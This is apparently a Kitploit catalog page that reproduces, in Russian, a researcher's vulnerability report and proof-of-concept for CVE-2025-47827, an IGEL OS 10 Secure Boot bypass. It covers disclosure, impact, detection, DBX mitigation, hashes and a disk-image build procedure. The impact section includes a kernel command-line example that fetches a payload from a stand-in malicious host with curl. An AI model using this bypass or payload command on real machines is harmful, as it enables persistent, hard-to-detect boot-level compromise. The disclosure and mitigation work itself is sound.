Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-47827 — PoC и отчет об уязвимости для CVE-2025-47827. | Kitploit
Инструменты/GitHubGitHub/zedeldi/cve-2025-47827
Повышение привилегийМеханизмы персистентностиАнализ уязвимостейЭксплуатацияОбход IDS/IPSПост-эксплуатацияАппаратная БезопасностьСтатьи и ИсследованияОбучение и ОбразованиеАнализ ПрошивокЭксплуатация Бинарных Файлов
428 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
zedeldi/cve-2025-47827

CVE-2025-47827

PoC и отчет об уязвимости для CVE-2025-47827.

РепозиторийСайт

CVE-2025-47827

GitHub license GitHub last commit CVSS-8.4 CWE-347 CVE-2025-47827 ISN-2025-22 GHSA-pww7-j9v6-xc6j

Доказательство концепции и отчет об уязвимости для CVE-2025-47827.

Содержание

  • Описание
  • Раскрытие
  • Воздействие
  • Обнаружение
  • Смягчение
  • Двоичные файлы
  • Доказательство концепции
  • Ресурсы

Описание

В IGEL OS до версии v11 Secure Boot может быть обойден, поскольку модуль igel-flash-driver неправильно проверяет криптографическую подпись. В конечном итоге поддельная корневая файловая система может быть смонтирована из непроверенного образа SquashFS.

Неправильная проверка криптографической подписи в модуле ядра Linux igel-flash-driver в IGEL OS 10 позволяет злоумышленнику обойти Secure Boot, загружая shim, подписанный Microsoft 3rd Party UEFI CA, который затем загружает GRUB и уязвимое ядро, оба подписанные IGEL Secure Boot Signing CA. После загрузки уязвимого ядра и встроенного initramfs вредоносная корневая файловая система может быть смонтирована из непроверенного образа SquashFS на диске.

Поскольку системный вызов kexec_load доступен в уязвимом ядре, загруженное в данный момент ядро может быть заменено на полностью недоверенное, что практически позволяет загрузить любую операционную систему, следуя полной цепочке доверия.

В более поздних версиях IGEL OS модуль правильно проверяет подпись образа корневой файловой системы SquashFS. Однако и уязвимое ядро, и исправленные версии подписаны одним и тем же сертификатом, что позволяет одному и тому же shim загружать как уязвимые, так и исправленные версии.

Процесс

Boot Process Diagram

Классификация

Исходная векторная строка для CVE-2025-47827 была AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, дающая оценку CVSS 8.4 (высокая).

14 октября 2025 года она была изменена на AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, снизив оценку до 4.6 (средняя).

Кроме того, исходная слабость была определена как CWE-347: Неправильная проверка криптографической подписи, но MSRC присвоил ей CWE-324: Использование ключа с истекшим сроком действия.

Раскрытие

IGEL и Microsoft были уведомлены об этой уязвимости 6 декабря 2024 года и 31 марта 2025 года соответственно, до того, как подробности были опубликованы 29 мая 2025 года.

Поскольку IGEL OS 10 не поддерживается, а уязвимость не существует непосредственно в shim, ни одна из сторон не предложила решения. Microsoft ответила следующим образом:

После расследования мы пришли к выводу, что данное представление не соответствует определению уязвимости безопасности для обслуживания, поскольку IGEL OS v10 больше не поддерживается, а проблема заключается в модуле ядра, а не в shim. Только shim подписан сертификатом MSFT.

IGEL опубликовала уведомление о безопасности для CVE-2025-47827 2 июня 2025 года.

13 июня 2025 года я повторно сообщил об этом в Microsoft и получил следующий ответ:

Хотя ваш отчет содержал некоторую полезную информацию, он не соответствует требованиям Microsoft для уязвимости безопасности, подлежащей обслуживанию. Сообщенная проблема находится в модуле ядра, а не в shim, и только shim подписан сертификатом MSFT. kexec уже позволяет обойти Secure Boot по замыслу (Ссылка: kexec Command Line in Linux - Linux Expert Better 2025).

Это соответствовало бы критериям обслуживания MSRC, если бы проблема была в загрузочном драйвере/компоненте. Это уязвимость в драйвере ядра дистрибутива Linux. Это происходит после UEFI "ExitBootServices", что означает, что это не обход Secure Boot. Пользователь имеет только выполнение кода на уровне ОС, а не загрузку.

С момента публикации различных новостных статей относительно этой уязвимости, поддерживающие shim связались с Microsoft и IGEL для обсуждения решения.

После достижения решения 20 октября 2025 года я создал еще одно обращение в MSRC с вопросом о причине задержки отзыва этих shim, изменениях векторной строки CVSS и CWE, и почему их руководство по обновлению утверждало, что уязвимость не была публично раскрыта. Я получил следующий ответ:

Уязвимость IGEL, которая была исправлена, не является обходом Secure Boot. Это специфический для Linux обход целостности ядра и не затрагивает Windows. Shims IGEL старые и не поддерживают новую отзыв на основе SBAT. Поэтому Microsoft выпустила отзывы для защиты от потенциальных эксплойтов других уязвимостей, которые были защищены SBAT.

Jeffrey Sutherland, главный руководитель программы, ответил в PR, объяснив, что из-за отсутствия SBAT shims пришлось отозвать через DBX, и IGEL запросила дополнительное время, чтобы избежать непредвиденных последствий. Они также извинились за отсутствие поддержания связи между исследователем и вовлеченными сторонами, как того требует Скоординированное раскрытие уязвимостей.

Воздействие

Эксплойт обхода Secure Boot может привести к разработке необнаруживаемого bootkit/руткита на уровне ядра, что, в свою очередь, приведет к множеству последствий, таких как:

  • Выполнение кода
  • Повышение привилегий
  • Отказ в обслуживании
  • Утечка информации

Без отзыва или ручного вмешательства Secure Boot стал бесполезным на всех машинах, доверяющих Microsoft 3rd Party UEFI CA, что является значением по умолчанию для большинства устройств на момент написания.

Kexec

Если используется для kexec, эта уязвимость может быть использована для тихой и вредоносной модификации легитимной системы без воздействия на Secure Boot.

Ядро

Ядро может быть полностью заменено, что позволит вредоносному коду выполняться на уровне ядра, предоставляя неограниченный доступ ко всем системным ресурсам, включая память, процессор и подключенные устройства.

Это позволит выгружать ключи шифрования из памяти, выполнять вредоносные процессы без ограничений и избегать обнаружения вредоносного ПО.

Параметры

Командная строка легитимного ядра может быть изменена для отключения модулей безопасности или изменения параметра init, что позволит выполнить вредоносную нагрузку после монтирования реального корневого раздела. Например (modprobe, DHCP, chmod, опущено для краткости):```sh init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"

root@kitploit:~
Это может заменить легитимный исполняемый файл, перехватить PID 1 или автоматически запускать себя при загрузке, легко получая root-доступ.

`/proc/cmdline` может быть [перехвачен](https://wiki.archlinux.org/title/Kernel_parameters#Hijacking_cmdline) с помощью bind mount, чтобы скрыть любые изменения.

Смотрите [документацию Linux](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html) для получения дополнительной информации.

### Persistence

Воздействие будет постоянным, пока необходимые EFI-бинарники и ядро присутствуют и настроены для загрузки системной прошивкой.

Обновления операционной системы могут вызвать изменения в порядке загрузки или в базе данных запрещенных подписей Secure Boot (DBX), что может помешать выполнению бинарников. Однако, если операционная система также скомпрометирована, это remedial действие может быть отменено.

Кроме того, так как порядок загрузки EFI настраивается операционной системой через изменение EFI-переменных, привилегированное вредоносное ПО может получить постоянство или дополнительно повысить привилегии, установив необходимые загрузочные файлы и настроив соответствующий порядок загрузки.

## Detection

Предполагая, что был создан идеальный руткит на уровне ядра для эксплуатации этой уязвимости, данные о работающей системе нельзя доверять.

Методы обнаружения включают:

- Проверка наличия задействованных бинарников
- Проверка подписей/целостности известных файлов, например, [rkhunter](https://rkhunter.sourceforge.net/)
- Поведенческий анализ, особенно в сетевых средах

Как минимум, подписанные EFI-бинарники, загружаемые системной прошивкой, и ядро IGEL должны присутствовать на скомпрометированной системе, но, из-за [уровня](https://en.wikipedia.org/wiki/Protection_ring), на котором выполняется вредоносный код, [руткит](https://en.wikipedia.org/wiki/Rootkit) может скрывать себя во время выполнения.

Другие индикаторы компрометации зависят от действий вредоносного ПО, которое использовало эту уязвимость. Например, загруженное ядро может быть заменено, файлы в корневой файловой системе изменены, или могут работать неожиданные программы.

## Mitigation

> [!IMPORTANT]
> Microsoft выпустил [подписанную DBX](https://github.com/microsoft/secureboot_objects/releases/tag/1.6.0-signed), отзывающую подписи соответствующих shim'ов 20 октября 2025 года после соглашения с IGEL.
>
> Для систем Windows, пожалуйста, смотрите [руководство по обновлению MSRC](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47827).
>
> Чтобы обновить системы на базе Linux с помощью [fwupd](https://fwupd.org/), обновите [Linux Foundation (UEFI Revocation) Secure Boot dbx](https://fwupd.org/lvfs/devices/com.microsoft.dbx.x64.firmware) до версии `20250902` и выше.
>
> Для получения дополнительной информации см. [microsoft/secureboot_objects#272](https://github.com/microsoft/secureboot_objects/pull/272).

Чтобы предотвратить компрометацию цепочки загрузки, сертификат, используемый для подписи уязвимого образа GRUB/ядра, должен быть отозван/отозван доверие, или хэши SHA-256 затронутых ядер (или shim'ов) должны быть добавлены в список запрета DBX или MOKX.
Смотрите [документацию от Директората кибербезопасности АНБ](https://github.com/nsacyber/Hardware-and-Firmware-Security-Guidance/blob/master/secureboot/Linux.md) для получения дополнительной информации.

В качестве альтернативы, чтобы предотвратить выполнение начального shim'а, можно отозвать доверие к Microsoft 3rd Party UEFI CA, но это может вызвать непреднамеренные сбои в других легитимных приложениях.
На некоторых устройствах это есть как опция в настройках прошивки.

Страница [ArchWiki для sbctl](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot#Creating_and_enrolling_keys) предупреждает следующее:

> [!WARNING]
> Некоторые прошивки подписаны и проверяются ключами Microsoft, когда Secure Boot включен. Непроверка устройств может заблокировать их (brick).

Это [по умолчанию для Secured-core ПК](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/secure-the-windows-10-boot-process#secure-boot):

> По умолчанию состояние Secure Boot имеет широкий круг доверия, что может привести к тому, что клиенты будут доверять компонентам загрузки, которые им не нужны. Поскольку сертификат Microsoft 3rd Party UEFI CA подписывает загрузчики для всех дистрибутивов Linux, доверие к подписи Microsoft 3rd Party UEFI CA в базе UEFI увеличивает поверхность атаки систем. Клиент, который намеревался доверять и загружать только один дистрибутив Linux, будет доверять всем дистрибутивам — больше, чем желаемая конфигурация. Уязвимость в любом из загрузчиков подвергает систему риску и ставит клиента под угрозу эксплуатации загрузчика, который он никогда не намеревался использовать, как видно в недавних уязвимостях, например [с загрузчиком GRUB](https://msrc.microsoft.com/security-guidance/advisory/ADV200011) или [руткитом на уровне прошивки](https://www.darkreading.com/threat-intelligence/researchers-uncover-dangerous-new-firmware-level-rootkit), влияющим на компоненты загрузки. [Secured-core ПК](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/OEM-highly-secure-11) требуют, чтобы Secure Boot был включен и настроен на недоверие к подписи Microsoft 3rd Party UEFI CA по умолчанию, чтобы предоставить клиентам максимально безопасную конфигурацию их ПК.

### Measured Boot

Если система загружается с IGEL shim, [измерения TPM PCR](https://wiki.archlinux.org/title/Trusted_Platform_Module#Accessing_PCR_registers) изменятся.

Windows использует [Measured Boot](https://learn.microsoft.com/en-us/windows/compatibility/measured-boot) по умолчанию с BitLocker, делая ключи шифрования недоступными, если система не загружается с ожидаемыми бинарниками.

В системах на базе Linux [systemd-cryptenroll](https://wiki.archlinux.org/title/Systemd-cryptenroll) можно использовать для регистрации ключа LUKS в TPM и привязки к различным PCR (по умолчанию PCR 7).

Measured Boot защищает легитимную ОС от модификации, высвобождая ключ шифрования только в доверенной среде. Однако он не предотвращает загрузку неавторизованной ОС; это ответственность Secure Boot.

Следовательно, пользователь все еще может быть в опасности, даже если его ОС использует Measured Boot. Например:

- Загрузить IGEL shim и вредоносную ОС, пройдя Secure Boot
- Эмулировать внешний вид и поведение подлинной ОС
- Пользователь вводит учетные данные, которые отправляются атакующему
- Опционально, перезагрузиться в легитимную ОС

Хотя легитимная ОС не может быть изменена с помощью Measured Boot, поскольку ключ шифрования привязан к измерениям TPM PCR[^1], система все еще может загружать вредоносное ПО.

[^1]: Ключи восстановления BitLocker не привязаны к TPM.

### Unified Kernel Image

Образ [унифицированного ядра](https://uapi-group.org/specifications/specs/unified_kernel_image/) можно использовать для объединения всех загрузочных ресурсов (т.е. ядра, начального ramdisk, командной строки ядра и т.д.) в один файл UEFI PE. Эти образы могут быть подписаны как любые другие исполняемые файлы EFI. Для повышения безопасности загрузки и минимизации поверхности атаки цепочки загрузки создайте унифицированный образ ядра и подпишите его сгенерированными пользователем ключами, отозвав доверие к любым ключам вендора/OEM.

## Binaries

### Description

В порядке выполнения:

- `boot*.efi` -> shim, подписанный Microsoft
- `igel*.efi` -> GRUB, подписанный IGEL
- `bzImage`   -> образ Linux (встроенный initramfs), подписанный IGEL

Сертификат для субъекта `CN=IGEL Secure Boot Signing CA, O=IGEL Technology GmbH, L=Bremen, C=DE` можно найти в [igelboot/shim](https://github.com/igelboot/shim/blob/igel-shim/igel-efi-pub-key.der).

SHA-256 отпечаток этого сертификата:
`5E:AE:E3:E0:EF:AA:58:85:E0:8A:CD:3F:FF:8D:1D:05:72:E0:14:2A:C8:E2:A5:42:A9:8C:9B:D4:2E:76:4D:F6`.

Подписи этих бинарников можно проверить с помощью `sbverify` (из [`sbsigntools`](https://git.kernel.org/pub/scm/linux/kernel/git/jejb/sbsigntools.git/)):```sh
# Convert to PEM format
openssl x509 -in igel-efi-pub-key.der -outform pem -out igel-efi-pub-key.pem
# Verify signatures
for image in igel*.efi bzImage; do
  sbverify --cert igel-efi-pub-key.pem "${image}"
done

Хэши

SHA-256 (from udc10.06.220.iso):``` 3258be9cede92f0b557391e920750e46134cccc13d3a78e306b630ed7b338b85 bootia32.efi 0c1e0821cef69a0bc2798996c6ce0b60564b2a1a9d67ef89f3059023edab720c bootx64.efi 2a8e546e6bbdbb01f49338b0e3ef22d8fea69aa0a585831b89960610e2e5d9b5 igelia32.efi 5f57a2a40fa6d55d1082e0c87cfea8c77d4f32e38e21fd0b5f2c4d2007ebdf91 igelx64.efi 09e14e4870f93fbfd13b85121cb9f0e4a877dd8d6566bea2d2db8d27e14f1d92 bzImage

root@kitploit:~
Хэши [`bootx64.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R4461)
и [`bootia32.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R5427)
были отозваны через DBX.

## Доказательство концепции

Предоставляется shell-скрипт доказательства концепции для загрузки установочного ISO IGEL OS, извлечения и создания загрузочного образа диска с модифицированной корневой файловой системой SquashFS.

В качестве альтернативы, вместо образа диска, ISO можно перепаковать с разделом EFI System, добавленным к образу. Также можно использовать гибридную MBR для сохранения поддержки устаревших систем BIOS, но это выходит за рамки данного проекта. Установочный ISO содержит загрузчик ISOLINUX для устаревших систем, который цепляет GRUB `core.img`.

### Наложения

Предоставлены примеры каталогов наложений для демонстрации загрузки живого окружения Arch Linux по HTTP.

Скрипт `init` загрузит указанное ядро через параметры командной строки ядра с помощью `kexec`, а затем перезагрузится. Заменяющее ядро не нужно подписывать, если передаётся `--kexec-syscall` вместо `--kexec-file-syscall`.

Файл конфигурации GRUB хранится на разделе EFI System Partition, который можно легко изменить. Другие файлы можно поместить на ESP, такие как ядро, initramfs или образы SquashFS, чтобы загружаться с них из первой корневой файловой системы с помощью `kexec`. Это позволяет локально загружать другую систему, которую можно обновлять как обычную систему, без пересборки ISO каждый раз.

В качестве альтернативы, необходимые файлы можно загрузить по HTTP с помощью `curl`, а затем загрузить, что позволяет уменьшить размер образа диска.

Это безобидный пример того, как можно использовать уязвимость, но скрипт `init` или ядро `kexec` могут быть изменены для демонстрации вредоносного поведения.

### Зависимости

Скрипт требует следующие пакеты:

- [`bash`](https://www.gnu.org/software/bash/bash.html)
- [`coreutils`](https://www.gnu.org/software/coreutils/) (`dd`, и всё остальное)
- [`dosfstools`](https://github.com/dosfstools/dosfstools) (`mkfs.fat`)
- [`igelfs-cli`](https://github.com/Zedeldi/igelfs)
- [`libisoburn`](https://dev.lovelyhq.com/libburnia/libisoburn) (`osirrox`, `xorriso`)
- [`squashfs-tools`](https://github.com/plougher/squashfs-tools) (`mksquashfs`, `unsquashfs`)
- [`sudo`](https://www.sudo.ws/sudo/)
- [`unzip`](https://infozip.sourceforge.net/UnZip.html)
- [`util-linux`](https://github.com/util-linux/util-linux) (`fdisk`, `losetup`)
- [`wget`](https://www.gnu.org/software/wget/wget.html)

Они должны быть доступны для любого дистрибутива из его официальных репозиториев пакетов.

`igelfs-cli` можно установить в виртуальном окружении из [PyPI](https://pypi.org/project/igelfs/):```sh
python -m venv .venv
source .venv/bin/activate
pip install igelfs

Использование```

mkdiskimage: [-s SIZE] [-l LABEL] [-e ESP_OVERLAY] [-r ROOT_OVERLAY] PATH [SQUASHFS]

root@kitploit:~
### Пример

Создайте образ диска размером 500 МБ, скопировав содержимое `esp` и `root` в
EFI System Partition и SquashFS соответственно:```sh
mkdiskimage -s "500M" -e "esp" -r "root" "disk.img"

Полученный образ загрузит машину с включенным Secure Boot, которая доверяет сертификату Microsoft 3rd Party UEFI CA.

Сырой образ диска можно записать на физическое устройство или преобразовать для использования с виртуальной машиной.

Релизы

Смотрите страницу релизов для примера загрузочного образа диска и копий соответствующих бинарных файлов.

Пример содержит модифицированный образ SquashFS IGEL OS для загрузки и запуска Arch Linux через HTTPS с помощью kexec. Зеркало указано в конфигурации GRUB.

Объяснение

  1. mkdiskimage загружает архив IGEL OS 10 UDC, содержащий установочный ISO
  2. ISO извлекается с помощью osirrox, для получения EFI-бинарных файлов, ddimage.bin и bzImage
  3. Используя igelfs-cli, системный SquashFS извлекается из ddimage.bin, который затем извлекается с помощью unsquashfs
  4. Создаются необходимые файлы, и можно указать каталоги наложения для копирования файлов в ESP или SquashFS
  5. SquashFS пересобирается с помощью mksquashfs, и создается новый ddimage.bin с использованием igelfs-cli, где SquashFS является разделом #1 (sys)
  6. ddimage.bin добавляется в ISO-образ с помощью xorriso

ISO содержит только ddimage.bin и файл-подсказку boot_id, тогда как ESP содержит EFI-бинарные файлы и файлы для GRUB.

Buildroot

Корневую файловую систему можно создать с помощью buildroot для значительного уменьшения размера файла.

Модули ядра для bzImage будут добавлены в образ SquashFS для обеспечения поддержки файловых систем, сети и т.д., а также любых других требований.

Пример defconfig для сборки корневого SquashFS с kexec и без скрипта init можно найти в buildroot. Используйте каталог наложения для добавления других файлов, например, скрипта init, либо через BR2_ROOTFS_OVERLAY, либо через mkdiskimage.

Kexec

Пользовательский бинарный файл kexec по умолчанию недоступен в системном разделе IGEL OS 10, поэтому, если он требуется, его можно добавить в модифицированный образ SquashFS.

Бинарный файл kexec можно упаковать с его библиотечными зависимостями с помощью staticx, чтобы избежать отсутствия общих библиотек в образе SquashFS IGEL OS:```sh staticx "$(which kexec)" "./root/sbin/kexec"

root@kitploit:~
Примечание: из-за поиска подстрок в `parse_cmdline` initramfs IGEL, указание `init` _где-либо_ в командной строке ядра будет интерпретировано первым initramfs, поэтому `init` не может быть передан ядру `kexec` через параметры первого ядра.

### SSL

Если требуется SSL, например, для HTTPS, добавьте `/etc/ssl/certs/ca-certificates.crt` в образ SquashFS.

### Требования

ISO-образ должен быть первым разделом, что делает системный раздел EFI (ESP) нетрадиционно вторым разделом. Это связано с тем, как скрипт `init` initramfs ищет устройства.
Аналогично, при установке IGEL OS создает два ESP на разделах #2 и #3.

GRUB требует, чтобы `/boot/igel-ud-converter` находился в той же файловой системе, что и `/boot/grub/igel.conf`:```
search --file --set search /boot/igel-ud-converter
set cmdpath=($search)
configfile $cmdpath/boot/grub/igel.conf

Скрипт init встроенной initramfs образа bzImage требует, чтобы на ISO-файловой системе присутствовал файл, имя которого соответствует параметру boot_id, переданному в командной строке ядра, с префиксом в виде точки (.). boot_id должен начинаться с IGEL_UDC_TO, например: .IGEL_UDC_TO_210319143827.

Эти файлы могут быть пустыми, но обязательно должны присутствовать.

Кроме того, SquashFS должен содержать каталог /igfimage, необходимый для скрипта инициализации initramfs; в противном случае смена корневого раздела завершится ошибкой.

Применение

Уязвимость может быть намеренно использована для загрузки операционной системы на базе Linux на устройстве без настройки Secure Boot.

Более того, поскольку полноценная среда Linux будет эффективно использоваться в качестве загрузчика, скрипт init можно настроить для загрузки следующего ядра более сложными способами, чем позволяет обычный загрузчик, например, с использованием сетевых возможностей, шифрования и т.д. С другой стороны, это можно использовать для сокрытия индикаторов компрометации, загружая ресурсы во время выполнения вместо их хранения на диске.

Различные проекты уже используют kexec для этих целей, например kexecboot и petitboot.

Ресурсы

Детали уязвимости:

  • CVE-2025-47827 — запись CVE
  • ISN-2025-22 — уведомление безопасности IGEL
  • GHSA-pww7-j9v6-xc6j — консультация безопасности GitHub
  • NIST — национальная база уязвимостей
  • MSRC — руководство по обновлениям
  • CISA — каталог KEV
  • Rapid7 — база уязвимостей
  • SecAlerts — оповещение CVE

Смягчение:

  • DBX PR #272 — отзыв уязвимых шлюзов IGEL
  • DBX Release 1.6.0-signed — подписанный выпуск DBX

Обзоры обновлений:

  • Qualys Threat Protection — обзор обновлений безопасности
  • NHS Digital — обзор обновлений безопасности
  • Windows Forum — руководство по устранению
  • The Register — обзор обновлений
  • Field Effect — обзор обновлений

Новостные статьи:

  • Ars Technica — новостная статья и обсуждение
  • Computing — новостная статья
  • Eclypsium — блог
  • LinuxSecurity — новостная статья
  • SecurityOnline — отчёт об уязвимости
  • Tech2Geek — блог
  • TechSpot — новостная статья
  • Security Affairs — новостная статья
  • The Hacker News — новостная статья

Программное обеспечение и связанные проекты:

  • IGEL Software Downloads — загрузки устаревших версий IGEL OS
  • igelboot — репозитории шлюзов IGEL
  • IGEL-Technology — различные репозитории IGEL
  • shim-review #11 — обзор шлюзов IGEL 2017
  • shim-review #434 — обзор шлюзов IGEL 2024
  • igelfs — реализация файловой системы IGEL на Python

Лицензия

CVE-2025-47827 распространяется под лицензией MIT для свободного использования, изменения и распространения.

Этот проект распространяется в надежде, что он будет полезен, но без каких-либо гарантий.

[!IMPORTANT] Пожалуйста, относитесь к этой информации ответственно. Публикация данной уязвимости предназначена для информирования пользователей и предложения возможных мер по смягчению последствий с целью избежания вреда.

Будьте хорошим человеком.

Пожертвовать

Если вы нашли этот проект полезным, пожалуйста, рассмотрите возможность пожертвования. Любая сумма будет очень признательна! Спасибо 😃

PayPal

Скачать инструмент
  • Создается образ диска и размечается с помощью fdisk
    1. ISO -> раздел #1 (записывается с помощью dd)
    2. ESP -> раздел #2 (монтируется и копируется)